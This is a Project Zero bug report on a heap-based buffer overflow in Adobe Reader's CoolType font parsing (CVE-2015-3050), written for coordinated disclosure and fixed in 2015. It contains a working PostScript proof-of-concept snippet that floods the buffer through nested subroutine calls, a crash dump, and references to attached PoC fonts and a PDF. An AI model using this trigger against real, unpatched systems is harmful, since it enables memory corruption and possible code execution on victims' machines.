Monorail Project: project-zero Issues People Development process History Sign in
New issue
Advanced search Search tips
Starred by 2 users
Status: Fixed
Owner:
Closed: May 2015
Cc:



Sign in to add a comment
Adobe Reader CoolType heap-based buffer overflow in Counter Control Hints
Project Member Reported by mjurczyk@google.com, Feb 4 2015 Back to list
In Type1 and OTF (Type2) glyph CharStrings, it is possible to provide an arbitary number of parameters to the "Counter Control Hint" mechanism, using the special "othersubr 12" functionality to pass the data in packets of max. 22 integers, completed by a "othersubr 13" call with the remaining <= 22 arguments. To learn more about the mechanism, see section "Counter Control Hints" of [1].

Considering that the code responsible for implementing the special 12/13 subroutines found in the CoolType font library used by Adobe Reader does not perform any bounds checking, it is possible to overflow the constant-size heap-based buffer, thus corrupting heap headers and adjacent allocations. Such memory corruption can be potentially used to take over code execution flow and compromise system security.

It is not necessary to have thousands of othersubr 12 calls present in the font in verbatim to trigger the condition (although this is also feasible) - the font size can be greatly reduced by using nested subroutine calls to perform the attack. For example, the snippet of PostScript code shown below (consisting of 5 subroutines) inserts as many as 22 * (16 ^ 4) = 1441792 dwords of value 0x41414141 into the destination buffer:

---
dup 110 ## -| { 1094795585 1094795585 1094795585 1094795585 
                1094795585 1094795585 1094795585 1094795585 
                1094795585 1094795585 1094795585 1094795585 
                1094795585 1094795585 1094795585 1094795585 
                1094795585 1094795585 1094795585 1094795585 
                1094795585 1094795585 22 12 callother return } |
dup 111 ## -| { 0 6 callother
                110 callsubr 110 callsubr 110 callsubr 110 callsubr 
                110 callsubr 110 callsubr 110 callsubr 110 callsubr 
                110 callsubr 110 callsubr 110 callsubr 110 callsubr 
                110 callsubr 110 callsubr 110 callsubr 110 callsubr 
                return } |
dup 112 ## -| { 0 6 callother
                111 callsubr 111 callsubr 111 callsubr 111 callsubr 
                111 callsubr 111 callsubr 111 callsubr 111 callsubr 
                111 callsubr 111 callsubr 111 callsubr 111 callsubr 
                111 callsubr 111 callsubr 111 callsubr 111 callsubr 
                return } |
dup 113 ## -| { 0 6 callother
                112 callsubr 112 callsubr 112 callsubr 112 callsubr 
                112 callsubr 112 callsubr 112 callsubr 112 callsubr 
                112 callsubr 112 callsubr 112 callsubr 112 callsubr 
                112 callsubr 112 callsubr 112 callsubr 112 callsubr 
                return } |
dup 114 ## -| { 0 6 callother
                113 callsubr 113 callsubr 113 callsubr 113 callsubr 
                113 callsubr 113 callsubr 113 callsubr 113 callsubr 
                113 callsubr 113 callsubr 113 callsubr 113 callsubr 
                113 callsubr 113 callsubr 113 callsubr 113 callsubr 
                return } |
---

Since the resulting number of bytes is much greater than the size of destination buffer, the code leads to the Adobe Reader process crash, reliably illustrating the problem. An example crash summary is shown below, while a full version can be found in "crash.txt".

---
(f44.5a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000012 ecx=090f5000 edx=00000004 esi=0049d34c edi=090c7524
eip=6e0425cc esp=0049cd60 ebp=0049d428 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
CoolType!CTInit+0x407c5:
6e0425cc 8901            mov     dword ptr [ecx],eax  ds:002b:090f5000=????????
---

Adobe Reader 11.0.10 is confirmed to be affected, but we expect all prior versions of the software to be prone to the bug, too. The issue can be reproduced with both Type1 and OTF fonts. A Type1 Proof of Concept font is attached ("poc.pfm" + "poc.pfb"), together with its source code to be compiled with the type1 tool ("poc.pfa"), and an actual PDF file with the offending font file embedded.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

References:
[1] "Type 1 Font Format Supplement, Technical Specification #5015, 15 May 1994", http://partners.adobe.com/public/developer/en/font/5015.Type1_Supp.pdf
 
poc.pfm
668 bytes Download
poc.pfb
20.1 KB Download
poc.pfa
55.1 KB Download
poc.pdf
20.8 KB Download
crash.txt
1.9 KB View Download
Project Member Comment 1 by mjurczyk@google.com, Feb 6 2015
Labels: Reported-2015-Feb-6
Project Member Comment 2 by mjurczyk@google.com, Feb 11 2015
Labels: Id-3280
Comment 3 by cevans@google.com, May 5 2015
Labels: Deadline-Grace Deadline-Exceeded
Patch due May 12th -- 5 days into 14 day grace period.
Project Member Comment 4 by mjurczyk@google.com, May 7 2015
Labels: -Id-3280 Id-3281 CVE-2015-3050
Tagging a CVE and fixing mismatched PSIRT-ID.
Comment 5 by cevans@google.com, May 12 2015
Labels: Fixed-2015-May-12
Status: Fixed
https://helpx.adobe.com/security/products/reader/apsb15-10.html
Project Member Comment 6 by mjurczyk@google.com, Jun 12 2015
Labels: -Restrict-View-Commit
Sign in to add a comment